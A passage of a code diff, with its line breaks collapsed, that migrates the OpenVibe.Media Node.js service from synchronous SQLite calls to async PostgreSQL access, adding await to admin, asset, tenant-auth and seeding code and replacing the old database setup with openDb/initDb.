1].id : null, limit });} catch (err) {@@@ -436,7 +436,7 @@ router.get('/tiers/decisions', (req, res) => {// its activation gate (`active`) is off, and logs what it would do as dry_run decisions.const objectTiers = () => require('../objects/tiering');--router.get('/tiers/objects/policy', (req, res) => {++router.get('/tiers/objects/policy', async (req, res) => {try {const policy = require('../objects/tier-policy');const settings = policy.settings();@@@ -445,8 +445,8 @@ router.get('/tiers/objects/policy', (req, res) => {thresholds: policy.thresholds(settings),rules: policy.describe(settings),provider: { r2: { configured: vodStorage.providerConfigured('r2'), available: vodStorage.providerAvailable('r2') } },-- candidates: objectTiers().candidates({ appId: req.appId, limit: req.query.limit, settings }),-- decisions: { last_24h: objectTiers().counts24h(req.appId), recent: objectTiers().listDecisions({ appId: req.appId, limit: 20 }).decisions },++ candidates: await objectTiers().candidates({ appId: req.appId, limit: req.query.limit, settings }),++ decisions: { last_24h: await objectTiers().counts24h(req.appId), recent: (await objectTiers().listDecisions({ appId: req.appId, limit: 20 })).decisions },note: 'Read-only. The policy (media.object_tier) changes through /config/media.object_tier; candidates and decisions are this app\'s only.',});} catch (err) {@@@ -455,12 +455,12 @@ router.get('/tiers/objects/policy', (req, res) => {}});--router.get('/tiers/objects/decisions', (req, res) => {++router.get('/tiers/objects/decisions', async (req, res) => {try {const q = req.query;if (q.action && !['promote', 'demote'].includes(String(q.action))) return res.status(400).json({ error: 'action must be promote or demote' });if (q.outcome && !objectTiers().OUTCOMES.includes(String(q.outcome))) return res.status(400).json({ error: `outcome must be one of ${objectTiers().OUTCOMES.join(', ')}` });-- res.json(objectTiers().listDecisions({ appId: req.appId, objectId: q.object_id ? String(q.object_id) : null, action: q.action ? String(q.action) : null,++ res.json(await objectTiers().listDecisions({ appId: req.appId, objectId: q.object_id ? String(q.object_id) : null, action: q.action ? String(q.action) : null,outcome: q.outcome ? String(q.outcome) : null, beforeId: q.before_id != null ? parseInt(q.before_id, 10) || 0 : null, limit: q.limit }));} catch (err) {console.error('[Admin] Object tier decisions error:', err.message);@@@ -483,16 +483,16 @@ router.post('/tiers/sweep', async (req, res) => {// target → mover (predecessor's hot/cold vocabulary kept as aliases)// ctx { trigger, reason } goes into the R2 decision log (media_tier_decisions) for moves into or out of R2.const MOVERS = {-- local: (id, ctx) => vodStorage.moveToHot(id, ctx),-- hot: (id, ctx) => vodStorage.moveToHot(id, ctx),-- b2: (id) => vodStorage.moveToCold(id),-- cold: (id) => vodStorage.moveToCold(id),-- r2: (id, ctx) => vodStorage.promoteToR2(id, ctx),++ local: async (id, ctx) => await vodStorage.moveToHot(id, ctx),++ hot: async (id, ctx) => await vodStorage.moveToHot(id, ctx),++ b2: async (id) => await vodStorage.moveToCold(id),++ cold: async (id) => await vodStorage.moveToCold(id),++ r2: async (id, ctx) => await vodStorage.promoteToR2(id, ctx),};async function _moveScoped(appId, rawId, target) {const id = parseInt(rawId, 10);-- if (!Number.isFinite(id) || !db.getVodById(id, appId)) return { ok: false, error: 'VOD not found' };++ if (!Number.isFinite(id) || !await db.getVodById(id, appId)) return { ok: false, error: 'VOD not found' };return MOVERS[target](id, { trigger: 'admin', reason: `admin move to ${target} (app ${appId})` });}@@@ -556,59 +556,59 @@ function _staffOnly(req, res) {* The object a hold request names, in this app: { obj } | { error, status }. object_id is a med_ id or a* legacy ref; vod_id / clip_id name a v1 row, which is projected first when it has no object yet.*/--function _holdTarget(appId, b, { project = true } = {}) {++async function _holdTarget(appId, b, { project = true } = {}) {const m = objectsModel();if (b.object_id != null && b.object_id !== '') {-- const obj = m.resolveObject(String(b.object_id), appId);++ const obj = await m.resolveObject(String(b.object_id), appId);return obj ? { obj } : { status: 404, error: 'No such object in this app' };}for (const [field, table, kind] of [['vod_id', 'vods', 'vod'], ['clip_id', 'clips', 'clip']]) {if (b[field] == null || b[field] === '') continue;const id = parseInt(b[field], 10);-- const row = Number.isFinite(id) ? db.get(`SELECT id, object_id FROM ${table} WHERE id = ? AND app_id = ?`, [id, appId]) : null;++ const row = Number.isFinite(id) ? await db.get(`SELECT id, object_id FROM ${table} WHERE id = ? AND app_id = ?`, [id, appId]) : null;if (!row) return { status: 404, error: `${kind === 'vod' ? 'VOD' : 'Clip'} not found` };let objectId = row.object_id;-- if (!objectId && project) { const r = m.safeSync(kind, id); objectId = r && r.id; }++ if (!objectId && project) { const r = await m.safeSync(kind, id); objectId = r && r.id; }if (!objectId) return { status: 409, error: `${kind} ${id} has no media object to hold (a clips-only recording is never published)` };-- return { obj: m.getObject(objectId) };++ return { obj: await m.getObject(objectId) };}return { status: 400, error: 'object_id, vod_id or clip_id required' };}/** A hold with the object it is on and, for a VOD, how many clips cut from it it protects. */--function _holdOut(h) {++async function _holdOut(h) {const m = objectsModel();-- const obj = m.getObject(h.object_id);++ const obj = await m.getObject(h.object_id);const out = { ...m.holdPublic(h), object: obj ? { id: obj.id, kind: obj.kind, legacy_ref: obj.legacy_ref || null, lifecycle_status: obj.lifecycle_status } : null };if (obj && obj.kind === 'vod') {-- out.clips_protected = db.get(`SELECT COUNT(*) AS n FROM clips c WHERE c.vod_id IN (SELECT id FROM vods WHERE object_id = @o)-- OR c.object_id IN (SELECT from_object_id FROM media_relationships WHERE to_object_id = @o AND relation = 'clip_of')`, { o: obj.id }).n;++ out.clips_protected = (await db.get(`SELECT COUNT(*) AS n FROM clips c WHERE c.vod_id IN (SELECT id FROM vods WHERE object_id = @o)++ OR c.object_id IN (SELECT from_object_id FROM media_relationships WHERE to_object_id = @o AND relation = 'clip_of')`, { o: obj.id })).n;}return out;}--router.get('/holds', (req, res) => {++router.get('/holds', async (req, res) => {try {const q = req.query;const conds = ['o.app_id = ?'], params = [req.appId];if (!['1', 'true'].includes(String(q.all || ''))) conds.push('h.released_at IS NULL');if (q.object_id != null || q.vod_id != null || q.clip_id != null) {-- const t = _holdTarget(req.appId, { object_id: q.object_id, vod_id: q.vod_id, clip_id: q.clip_id }, { project: false });++ const t = await _holdTarget(req.appId, { object_id: q.object_id, vod_id: q.vod_id, clip_id: q.clip_id }, { project: false });if (!t.obj) return res.status(t.status).json({ error: t.error });conds.push('h.object_id = ?'); params.push(t.obj.id);}if (q.before_id != null) { conds.push('h.id < ?'); params.push(parseInt(q.before_id, 10) || 0); }const limit = Math.min(Math.max(parseInt(q.limit, 10) || 50, 1), 200);-- const rows = db.all(`SELECT h.* FROM media_holds h JOIN media_objects o ON o.id = h.object_id WHERE ${conds.join(' AND ')} ORDER BY h.id DESC LIMIT ?`, [...params, limit + 1]);++ const rows = await db.all(`SELECT h.* FROM media_holds h JOIN media_objects o ON o.id = h.object_id WHERE ${conds.join(' AND ')} ORDER BY h.id DESC LIMIT ?`, [...params, limit + 1]);const page = rows.slice(0, limit);-- res.json({ holds: page.map(_holdOut), next_before_id: rows.length > limit ? page[page.length - 1].id : null, limit });++ res.json({ holds: (await Promise.all(page.map(_holdOut))), next_before_id: rows.length > limit ? page[page.length - 1].id : null, limit });} catch (err) {console.error('[Admin] Hold list error:', err.message);res.status(500).json({ error: 'Failed to list holds' });}});--router.post('/holds', (req, res) => {++router.post('/holds', async (req, res) => {try {if (!_staffOnly(req, res)) return;const b = req.body || {};@@@ -617,11 +617,11 @@ router.post('/holds', (req, res) => {if (!m.HOLD_KINDS.includes(kind)) return res.status(400).json({ error: `kind must be one of ${m.HOLD_KINDS.join(', ')}` });const reason = String(b.reason || '').trim();if (!reason) return res.status(400).json({ error: 'reason required (why the object must be kept)' });-- const t = _holdTarget(req.appId, b);++ const t = await _holdTarget(req.appId, b);if (!t.obj) return res.status(t.status).json({ error: t.error });const by = String(b.placed_by || b.created_by || `app:${req.appId}`).slice(0, 200);-- const hold = m.placeHold({ object_id: t.obj.id, kind, reason, created_by: by, note: b.note });-- const out = _holdOut(hold);++ const hold = await m.placeHold({ object_id: t.obj.id, kind, reason, created_by: by, note: b.note });++ const out = await _holdOut(hold);console.log(`[Admin] Retention hold ${hold.id} placed on ${t.obj.id} (${t.obj.legacy_ref || t.obj.kind}) by ${by} (${req.appId}): ${kind}, ${JSON.stringify(reason.slice(0, 200))}`+ (out.clips_protected ? `; protects ${out.clips_protected} clip(s) cut from it` : ''));res.status(201).json(out);@@@ -631,15 +631,15 @@ router.post('/holds', (req, res) => {}});--function _releaseHold(req, res) {++async function _releaseHold(req, res) {try {if (!_staffOnly(req, res)) return;-- const hold = db.get('SELECT h.* FROM media_holds h JOIN media_objects o ON o.id = h.object_id WHERE h.id = ? AND o.app_id = ?',++ const hold = await db.get('SELECT h.* FROM media_holds h JOIN media_objects o ON o.id = h.object_id WHERE h.id = ? AND o.app_id = ?',[parseInt(req.params.holdId, 10) || 0, req.appId]);if (!hold) return res.status(404).json({ error: 'No such hold in this app' });-- if (hold.released_at) return res.status(409).json({ error: 'The hold was released already', code: 'media.hold.released', hold: _holdOut(hold) });++ if (hold.released_at) return res.status(409).json({ error: 'The hold was released already', code: 'media.hold.released', hold: await _holdOut(hold) });const by = String((req.body && req.body.released_by) || `app:${req.appId}`).slice(0, 200);-- const out = _holdOut(objectsModel().releaseHold(hold.id, by));++ const out = await _holdOut(await objectsModel().releaseHold(hold.id, by));console.log(`[Admin] Retention hold ${hold.id} on ${hold.object_id} released by ${by} (${req.appId})`);res.json(out);} catch (err) {@@@ -663,10 +663,10 @@ function _opsStaffOnly(req, res) {// GET /ops?limit — failed jobs, missing media, backfill status, tiering diagnostics and the namespaces'// usage snapshot of this app (server/me/ops.js; the sweep and the provider switches are service-wide).--router.get('/ops', (req, res) => {++router.get('/ops', async (req, res) => {try {if (!_opsStaffOnly(req, res)) return;-- res.json(require('../me/ops').report({ appId: req.appId, limit: req.query.limit }));++ res.json(await require('../me/ops').report({ appId: req.appId, limit: req.query.limit }));} catch (err) {console.error('[Admin] Ops report error:', err.message);res.status(500).json({ error: 'Failed to build the operator report' });@@@ -674,10 +674,10 @@ router.get('/ops', (req, res) => {});// POST /ops/recompute — refresh this app's namespaces' usage snapshot from the rows.--router.post('/ops/recompute', (req, res) => {++router.post('/ops/recompute', async (req, res) => {try {if (!_opsStaffOnly(req, res)) return;-- const out = require('../me/ops').recompute({ appId: req.appId });++ const out = await require('../me/ops').recompute({ appId: req.appId });console.log(`[Admin] Namespace usage recomputed (${req.appId}): ${out.namespaces} namespace(s)`);res.json(out);} catch (err) {@@@ -36,7 +36,7 @@ function assetPublic(a) {};}--router.post('/', tenantAuth(), upload.single('file'), (req, res) => {++router.post('/', tenantAuth(), upload.single('file'), async (req, res) => {try {const { kind, name } = req.body || {};if (!['emote', 'sound'].includes(kind)) return res.status(400).json({ error: "kind must be 'emote' or 'sound'" });@@@ -47,9 +47,9 @@ router.post('/', tenantAuth(), upload.single('file'), (req, res) => {fs.writeFileSync(filePath, req.file.buffer);let meta = {};try { meta = req.body.meta ? JSON.parse(req.body.meta) : {}; } catch { /* */ }-- const prev = db.get('SELECT file_path FROM assets WHERE app_id = ? AND kind = ? AND name = ? AND channel_username = ?',++ const prev = await db.get('SELECT file_path FROM assets WHERE app_id = ? AND kind = ? AND name = ? AND channel_username = ?',[req.appId, kind, String(name), String(req.body.channel_username || '')]);-- const row = db.upsertAsset({++ const row = await db.upsertAsset({app_id: req.appId, kind, name: String(name).slice(0, 100),file_path: filePath, mime: req.file.mimetype || 'application/octet-stream',user_id: req.body.user_id != null ? parseInt(req.body.user_id, 10) || null : null,@@@ -69,24 +69,24 @@ router.post('/', tenantAuth(), upload.single('file'), (req, res) => {}});--router.get('/', tenantAuth(), (req, res) => {++router.get('/', tenantAuth(), async (req, res) => {try {const limit = Math.min(Math.max(parseInt(req.query.limit || '200', 10), 1), 1000);const offset = Math.max(parseInt(req.query.offset || '0', 10), 0);const kind = ['emote', 'sound'].includes(req.query.kind) ? req.query.kind : null;-- const assets = db.listAssets(req.appId, { kind, limit, offset }).map(assetPublic);-- res.json({ assets, total: db.countAssets(req.appId, { kind }), limit, offset });++ const assets = (await db.listAssets(req.appId, { kind, limit, offset })).map(assetPublic);++ res.json({ assets, total: await db.countAssets(req.appId, { kind }), limit, offset });} catch (err) {res.status(500).json({ error: 'Failed to list assets' });}});--router.delete('/:id', tenantAuth(), (req, res) => {++router.delete('/:id', tenantAuth(), async (req, res) => {try {-- const a = db.getAssetById(parseInt(req.params.id, 10));++ const a = await db.getAssetById(parseInt(req.params.id, 10));if (!a || a.app_id !== req.appId) return res.status(404).json({ error: 'Not found' });try { if (a.file_path && fs.existsSync(a.file_path)) fs.unlinkSync(a.file_path); } catch { /* */ }-- db.deleteAsset(a.id);++ await db.deleteAsset(a.id);res.json({ success: true });} catch (err) {res.status(500).json({ error: 'Failed to delete asset' });@@@ -173,9 +173,9 @@ function verbAllowed(claims, verb, namespace, { strict = false } = {}) {* namespace reads) checks each namespace it touches with namespaceGrant(); here the token must hold* the verb and some namespace of this tenant. A `capability` route checks it for the root, as before.*/--function tenantGrant(claims, { capability, verb, namespaced }, appId, root) {++async function tenantGrant(claims, { capability, verb, namespaced }, appId, root) {if (!verb) return capabilities.check({ ...claims, ns: grantedNamespaces(claims) }, capability, { namespace: root });-- if (!namespaced) return verbAllowed(claims, verb, root, { strict: require('./objects/namespaces').isStrict(appId, root) });++ if (!namespaced) return verbAllowed(claims, verb, root, { strict: await require('./objects/namespaces').isStrict(appId, root) });const c = verbAllowed(claims, verb, undefined);if (!c.allowed) return c;return touchesTenant(grantedNamespaces(claims), root) ? c : { allowed: false, code: 'capability.namespace_denied', reason: `namespace ${root} not granted` };@@@ -185,9 +185,9 @@ function tenantGrant(claims, { capability, verb, namespaced }, appId, root) {* May this request do `verb` in `namespace` of its tenant? The app key (and an upload or session* token, scoped to its object already) may do anything; a Network token as its grant says.*/--function namespaceGrant(req, verb, namespace) {++async function namespaceGrant(req, verb, namespace) {if (!req.grant) return { allowed: true, code: null, reason: null };-- return verbAllowed(req.grant, verb, namespace, { strict: require('./objects/namespaces').isStrict(req.appId, namespace) });++ return verbAllowed(req.grant, verb, namespace, { strict: await require('./objects/namespaces').isStrict(req.appId, namespace) });}// ── Developer-project tenants (roadmap Wave 20, ADR-014) ─────@@@ -202,17 +202,17 @@ const isAppPrincipal = (claims) => !!claims && (claims.actor_type === 'app' || /* app.<project_id> and app.<project_id>.sandbox with their children. Nothing is created unless the* token's project_id is the path's project and the token holds this route's verb there.*/--function projectTenant(req, res, next, projectId, claims, grant) {++async function projectTenant(req, res, next, projectId, claims, grant) {if (claims.project_id !== projectId) {return problem(res, 403, 'capability.namespace_denied', `this app token belongs to ${claims.project_id || 'no project'}, not ${projectId}`);}const env = claims.env === 'sandbox' ? 'sandbox' : 'production';const tenantId = db.projectTenantId(projectId, env);-- const c = tenantGrant(claims, grant, tenantId, db.rootNamespace({ app_id: tenantId, project_id: projectId, env }));++ const c = await tenantGrant(claims, grant, tenantId, db.rootNamespace({ app_id: tenantId, project_id: projectId, env }));if (!c.allowed) return problem(res, 403, c.code, c.reason);let tenant;try {-- tenant = db.ensureProjectTenant(projectId, env, (env === 'sandbox' ? config.apps.sandboxQuotaMb : config.apps.projectQuotaMb) * 1024 * 1024);++ tenant = await db.ensureProjectTenant(projectId, env, (env === 'sandbox' ? config.apps.sandboxQuotaMb : config.apps.projectQuotaMb) * 1024 * 1024);} catch (err) {if (err.code === 'media.tenant.conflict') return problem(res, 409, err.code, err.message);throw err;@@@ -236,7 +236,7 @@ function tenantPath(app) {* Tenants that exist only to be reached with service tokens (no API key is ever issued):* OpenVibe.Community stores screenshot bytes here under its own namespace.*/--function ensureTokenOnlyApps() {++async function ensureTokenOnlyApps() {// Services that reach Media only with Network service tokens (no app key). Quotas are per tenant.for (const [appId, name, quotaGb] of [['community', 'OpenVibe.Community', 10],@@@ -245,8 +245,8 @@ function ensureTokenOnlyApps() {['wiki', 'OpenVibe.Wiki', 10], // Wave 16 page attachments['blog', 'OpenVibe.Blog', 10], // Wave 16 post attachments]) {-- if (!db.getApp(appId)) db.run("INSERT INTO apps (app_id, name, api_key_hash, quota_bytes) VALUES (?, ?, '', ?)", [appId, name, quotaGb * 1024 ** 3]);-- db.ensureRootNamespace(db.getApp(appId));++ if (!await db.getApp(appId)) await db.run("INSERT INTO apps (app_id, name, api_key_hash, quota_bytes) VALUES (?, ?, '', ?)", [appId, name, quotaGb * 1024 ** 3]);++ await db.ensureRootNamespace(await db.getApp(appId));}}@@@ -305,7 +305,7 @@ function tenantAuth({ allowUser = false, capability = null, verb = null, namespaif (verb && !VERBS[verb]) throw new Error(`tenantAuth: unknown verb ${verb}`);const named = verb ? VERBS[verb][0] : capability;const grant = { capability, verb, namespaced };-- return (req, res, next) => {++ return async (req, res, next) => {const appId = String(req.params.app || '').trim();const token = bearerToken(req);@@@ -327,11 +327,11 @@ function tenantAuth({ allowUser = false, capability = null, verb = null, namespareturn problem(res, 403, named ? 'capability.namespace_denied' : 'capability.denied',named ? 'app tokens reach only /<project_id>/ tenants' : 'app tokens are not accepted on this route');}-- return projectTenant(req, res, next, appId, svc, grant);++ return await projectTenant(req, res, next, appId, svc, grant);}if (svc && svc.env === 'sandbox') return problem(res, 401, 'token.sandbox_refused', 'only developer-app sandbox tokens are accepted, on their own project tenant');-- const app = appId ? db.getApp(appId) : null;++ const app = appId ? await db.getApp(appId) : null;// Developer-project tenants are reachable only through their project's app tokens (above).if (!app || app.project_id) return res.status(404).json({ error: 'Unknown app' });req.appId = appId;@@@ -351,7 +351,7 @@ function tenantAuth({ allowUser = false, capability = null, verb = null, namespa}return next();}-- if (token && isKeyOfOtherApp(token, appId)) {++ if (token && await isKeyOfOtherApp(token, appId)) {return res.status(403).json({ error: 'API key not valid for this app' });}@@@ -361,7 +361,7 @@ function tenantAuth({ allowUser = false, capability = null, verb = null, namespa// that one action — no acting user.if (svc) {if (!named) return problem(res, 403, 'capability.denied', 'service tokens are not accepted on this route');-- const c = tenantGrant(svc, grant, appId, db.rootNamespace(app));++ const c = await tenantGrant(svc, grant, appId, db.rootNamespace(app));if (!c.allowed) return problem(res, 403, c.code, c.reason);req.authType = 'app';req.principal = { sub: svc.sub, cap: svc.cap, jti: svc.jti };@@@ -392,9 +392,9 @@ function tenantAuth({ allowUser = false, capability = null, verb = null, namespa}/** Does the presented key belong to some OTHER app? (for a precise 403) */--function isKeyOfOtherApp(presentedKey, exceptAppId) {++async function isKeyOfOtherApp(presentedKey, exceptAppId) {const hash = db.hashApiKey(presentedKey);-- const row = db.get('SELECT app_id FROM apps WHERE api_key_hash = ?', [hash]);++ const row = await db.get('SELECT app_id FROM apps WHERE api_key_hash = ?', [hash]);return !!(row && row.app_id !== exceptAppId);}@@@ -405,11 +405,11 @@ function isKeyOfOtherApp(presentedKey, exceptAppId) {* A Network JWT is deliberately NOT an identity here — see tenantAuth for why its* subject cannot be used as an app-local user id.*/--function optionalIdentity(req, _res, next) {++async function optionalIdentity(req, _res, next) {const token = bearerToken(req);if (token) {const hash = db.hashApiKey(token);-- const appRow = db.get('SELECT * FROM apps WHERE api_key_hash = ?', [hash]);++ const appRow = await db.get('SELECT * FROM apps WHERE api_key_hash = ?', [hash]);if (appRow) {req.authType = 'app';req.appRow = appRow;@@@ -438,7 +438,7 @@ function tenantCors(req, res, next) {// ── App seeding ──────────────────────────────────────────────--function seedApps() {++async function seedApps() {let seeded = 0;if (config.apps.seedJson) {@@@ -447,7 +447,7 @@ function seedApps() {for (const entry of Array.isArray(list) ? list : []) {if (!entry || !entry.app_id || !entry.api_key) continue;if (/^prj_/.test(String(entry.app_id))) { console.warn(`[Auth] MEDIA_APPS_SEED: ${entry.app_id} skipped (developer-project tenants never get an API key)`); continue; }-- db.upsertApp(entry);++ await db.upsertApp(entry);seeded++;}} catch (err) {@@@ -464,9 +464,9 @@ function seedApps() {if (!app_id || !api_key) continue;if (/^prj_/.test(app_id)) { console.warn(`[Auth] MEDIA_APP_KEYS: ${app_id} skipped (developer-project tenants never get an API key)`); continue; }// Don't clobber a richer MEDIA_APPS_SEED entry for the same app.-- const existing = db.getApp(app_id);++ const existing = await db.getApp(app_id);if (existing && config.apps.seedJson && config.apps.seedJson.includes(`"${app_id}"`)) continue;-- db.upsertApp({++ await db.upsertApp({app_id,name: existing?.name || app_id,api_key,@@@ -479,8 +479,8 @@ function seedApps() {}}-- if (seeded) console.log(`[Auth] Seeded/updated ${seeded} app(s): ${db.listApps().map(a => a.app_id).join(', ')}`);-- else if (!db.listApps().length) console.warn('[Auth] No apps configured — set MEDIA_APPS_SEED (all API calls will 404)');++ if (seeded) console.log(`[Auth] Seeded/updated ${seeded} app(s): ${(await db.listApps()).map(a => a.app_id).join(', ')}`);++ else if (!(await db.listApps()).length) console.warn('[Auth] No apps configured — set MEDIA_APPS_SEED (all API calls will 404)');}module.exports = {@@@ -104,13 +104,13 @@ function createIngestHandler({ db, config, screenshotsDir, generateSlug, log = cconst file = path.join(screenshotsDir, `avatar-n${parseInt(user_id, 10) || 0}-${Date.now()}-${crypto.randomBytes(4).toString('hex')}.webp`);fs.writeFileSync(file, pic.buffer);const slug = generateSlug();-- const insert = () => db.run(`INSERT INTO pastes (app_id, slug, user_id, type, title, content, language, visibility, screenshot_path, metadata, ip_address)-- VALUES ('network', ?, ?, 'screenshot', ?, '', 'text', 'unlisted', ?, ?, NULL)`,++ const insert = async () => await db.run(`INSERT INTO pastes (app_id, slug, user_id, type, title, content, language, visibility, screenshot_path, metadata, ip_address)++ VALUES ('network', ?, ?, 'screenshot', ?, '', 'text', 'unlisted', ?, ?, NULL) RETURNING id`,[slug, parseInt(user_id, 10) || null, `Avatar${username ? ' of ' + String(username).slice(0, 40) : ''}`, file,JSON.stringify({ kind: 'avatar', source_host: (() => { try { return new URL(url).hostname; } catch { return null; } })(), size_bytes: pic.buffer.length, mime_type: 'image/webp' })]);// The row and the avatar's media_object in one transaction (a database without the object model: the row alone).-- if (typeof db.withObject === 'function') db.withObject('paste', (r) => r.lastInsertRowid, insert);-- else insert();++ if (typeof db.withObject === 'function') await db.withObject('paste', (r) => r.lastInsertRowid, insert);++ else await insert();res.json({ ok: true, slug, url: `${config.publicUrl}/p/${slug}/screenshot`, width: pic.width, height: pic.height, bytes: pic.buffer.length });} catch (err) {log.warn('[Avatar ingest]', err.message);@@@ -20,9 +20,16 @@ const config = {nodeEnv: process.env.NODE_ENV || 'development',publicUrl: (process.env.MEDIA_PUBLIC_URL || 'https://openvibe.media').replace(/\/$/, ''),++ // PostgreSQL (ADR-035): DATABASE_URL serves (PgBouncer), DATABASE_DIRECT_URL migrates (owner). Without them,++ // development uses an embedded PGlite database in data/pglite. path: the SQLite file of releases before++ // PostgreSQL, read once by scripts/migrate-to-postgres.js.db: {++ url: process.env.DATABASE_URL || '',++ directUrl: process.env.DATABASE_DIRECT_URL || '',path: process.env.DB_PATH || './data/media.db',},++ // Valkey (ADR-035): per-actor limit counters shared across processes; without it they count in this process.++ valkey: { url: process.env.VALKEY_URL || '', prefix: process.env.VALKEY_PREFIX || 'ov:media:' },vod: {path: process.env.VOD_PATH || './data/vods',@@@ -2,112 +2,65 @@* OpenVibe.Media — Database** Lean port of the predecessor's vod/clip/paste helpers with app_id (tenant)-- * scoping on every query. better-sqlite3 in WAL mode.-- *-- * Migration path: `importLegacyRows(table, rows, appId)` bulk-inserts rows from-- * the old streamer DB unchanged — only columns that exist in the new table are-- * used (extras ignored), ids preserved, app_id backfilled. The cutover script-- * can do: ATTACH old db, SELECT * per table, importLegacyRows('vods', rows, 'live').++ * scoping on every query. PostgreSQL through openvibe-sdk/db (ADR-035); every helper is async.++*/'use strict';const path = require('path');const fs = require('fs');const crypto = require('crypto');--const Database = require('better-sqlite3');++const { createDb } = require('openvibe-sdk/db');const config = require('../config');++const MIGRATIONS = path.join(__dirname, '..', '..', 'migrations');++const DEV_PGLITE = path.join(__dirname, '..', '..', 'data', 'pglite');++let database = null;--function getDb() {-- if (database) return database;-- const dataDir = path.dirname(config.db.path);-- if (!fs.existsSync(dataDir)) fs.mkdirSync(dataDir, { recursive: true });-- database = new Database(config.db.path);-- database.pragma('journal_mode = WAL');-- const schema = fs.readFileSync(path.join(__dirname, 'schema.sql'), 'utf8');-- database.exec(schema);-- migrateColumns();-- migrateJobsTable(schema);-- migrateNamespaces();-- ensureObjectTriggers();-- normalizeThumbnailUrls();-- seedSettings();-- // Clips a restart left 'processing' are marked failed (and re-cut) by vod/clip-jobs.start() when-- // the SERVER boots, not here: every script that opens this database (backfills, reconcilers,-- // operator tools) comes through getDb(), and running it while the service is cutting a clip-- // used to fail that clip under it.++/**++ * The serving handle (ADR-035): DATABASE_URL through PgBouncer; in development without it, an embedded PGlite database++ * in data/pglite (MEDIA_PGLITE_DIR overrides it). Migrations run first, as the owner (DATABASE_DIRECT_URL), or on the++ * embedded handle. The schema, its triggers (retention holds, object deletes, object change events) and the default++ * settings are migrations/NNNN_*.sql; timestamps stay SQLite's text (ov_now(), datetime() in the migration).++ */++async function openDb(cfg = config, { log = console, registry } = {}) {++ if (!cfg.db.url) {++ if (cfg.nodeEnv === 'production') throw new Error('DATABASE_URL is not set: production serves from PostgreSQL (OpenVibe.Host roles/data add-service.sh media)');++ const dir = process.env.MEDIA_PGLITE_DIR || DEV_PGLITE;++ // A drill reads its copy as it is (a local embedded copy outside production: the N-1 test).++ if (require('../drill').enabled) return createDb({ pglite: dir, service: 'media-drill', registry, log });++ log.warn(`[DB] DATABASE_URL unset: embedded PGlite database in ${dir} (development only, one process)`);++ fs.mkdirSync(dir, { recursive: true });++ const db = createDb({ pglite: dir, service: 'media', registry, log });++ await db.migrate({ dir: MIGRATIONS, log });++ return db;++ }++ // A restore drill (MEDIA_DRILL) reads the restored copy as it is: no migration, nothing written.++ if (require('../drill').enabled) return createDb({ url: cfg.db.url, service: 'media-drill', registry, log });++ if (!cfg.db.directUrl) throw new Error('DATABASE_DIRECT_URL is not set: migrations run with the owner role on a direct connection');++ const owner = createDb({ url: cfg.db.directUrl, service: 'media-migrate', max: 1, log });++ try { await owner.migrate({ dir: MIGRATIONS, log }); } finally { await owner.close(); }++ return createDb({ url: cfg.db.url, service: 'media', registry, log });++}++++/** Open the process-wide database once, at boot (server/index.js, scripts). */++async function initDb(cfg = config, opts) {++ if (!database && globalThis.__ovMediaTestDb) database = globalThis.__ovMediaTestDb; // tests (test/helpers/pg-preload.mjs)++ if (!database) database = await openDb(cfg, opts);return database;}--// One-time normalization: migrated rows stored old-stack thumbnail URLs--// (/api/thumbnails/<name> or absolute variants). Canonical form is /t/<name>--// — the legacy redirect route covers stragglers, but direct URLs cache better.--function normalizeThumbnailUrls() {-- try {-- for (const table of ['vods', 'clips']) {-- const info = database.prepare(-- `UPDATE ${table}-- SET thumbnail_url = '/t/' || replace(thumbnail_url, rtrim(thumbnail_url, replace(thumbnail_url, '/', '')), '')-- WHERE thumbnail_url LIKE '%/api/thumbnails/%'`-- ).run();-- if (info.changes) console.log(`[DB] Normalized ${info.changes} legacy thumbnail URLs in ${table}`);-- }-- } catch (e) { console.warn('[DB] thumbnail URL normalization:', e.message); }--}----// Additive column migrations for DBs created before the column existed--// (CREATE TABLE IF NOT EXISTS won't add columns to an existing table).--function migrateColumns() {-- const wanted = {-- vods: [['managed_stream_id', 'INTEGER'], ['object_id', 'TEXT'], ['duration_source', 'TEXT']],-- clips: [['channel_user_id', 'INTEGER'], ['cut_error', 'TEXT'], ['cut_attempts', 'INTEGER DEFAULT 0'], ['cut_next_at', 'DATETIME'], ['object_id', 'TEXT']],-- files: [['object_id', 'TEXT']],-- pastes: [['object_id', 'TEXT']],-- // Developer-project tenants (ADR-014): project_id prj_<ULID>, env sandbox|production. NULL on first-party tenants.-- apps: [['project_id', 'TEXT'], ['env', 'TEXT']],-- media_holds: [['note', 'TEXT']],-- // Job fencing (server/jobs/queue.js): a claim's token; NULL on rows claimed before it existed.-- media_jobs: [['lease_token', 'TEXT']],-- };-- for (const [table, cols] of Object.entries(wanted)) {-- const existing = database.prepare(`PRAGMA table_info(${table})`).all().map(c => c.name);-- for (const [name, type] of cols) {-- if (existing.includes(name)) continue;-- database.exec(`ALTER TABLE ${table} ADD COLUMN ${name} ${type}`);-- console.log(`[DB] Added ${table}.${name}`);-- }-- }++/** The process-wide database initDb() opened (clips a restart left 'processing' are re-cut by vod/clip-jobs.start()). */++function getDb() {++ // A test process gets a migrated database from test/helpers/pg-preload.mjs (node --import), before any test code.++ if (!database && globalThis.__ovMediaTestDb) database = globalThis.__ovMediaTestDb;++ if (!database) throw new Error('the database is not open: await initDb() at boot');++ return database;}--/**-- * media_jobs was created schema-only (integer id, no app_id, status 'done') before the job worker-- * existed; nothing ever wrote it. Rebuild that shape into the current one from schema.sql, keeping-- * any rows (id mjob_legacy_<n>, tenant from the object, done -> succeeded), then create the indexes-- * that need the new columns. Idempotent: a database already in the new shape only gets its indexes.-- */--function migrateJobsTable(schema) {-- const cols = database.prepare('PRAGMA table_info(media_jobs)').all().map(c => c.name);-- if (!cols.includes('app_id')) {-- const ddl = /CREATE TABLE IF NOT EXISTS media_jobs \([\s\S]*?\n\);/.exec(schema);-- if (!ddl) throw new Error('schema.sql has no media_jobs table');-- database.transaction(() => {-- database.exec('ALTER TABLE media_jobs RENAME TO media_jobs_v0');-- database.exec(ddl[0]);-- const moved = database.prepare(`INSERT INTO media_jobs (id, app_id, object_id, job_type, status, attempts, checkpoint, error, created_at, updated_at)-- SELECT 'mjob_legacy_' || v.id, COALESCE((SELECT o.app_id FROM media_objects o WHERE o.id = v.object_id), 'unknown'), v.object_id, v.job_type,-- CASE v.status WHEN 'done' THEN 'succeeded' ELSE v.status END, v.attempts, v.checkpoint, v.error, v.created_at, v.updated_at-- FROM media_jobs_v0 v`).run().changes;-- database.exec('DROP TABLE media_jobs_v0');-- console.log(`[DB] Rebuilt media_jobs for the job worker (${moved} row(s) 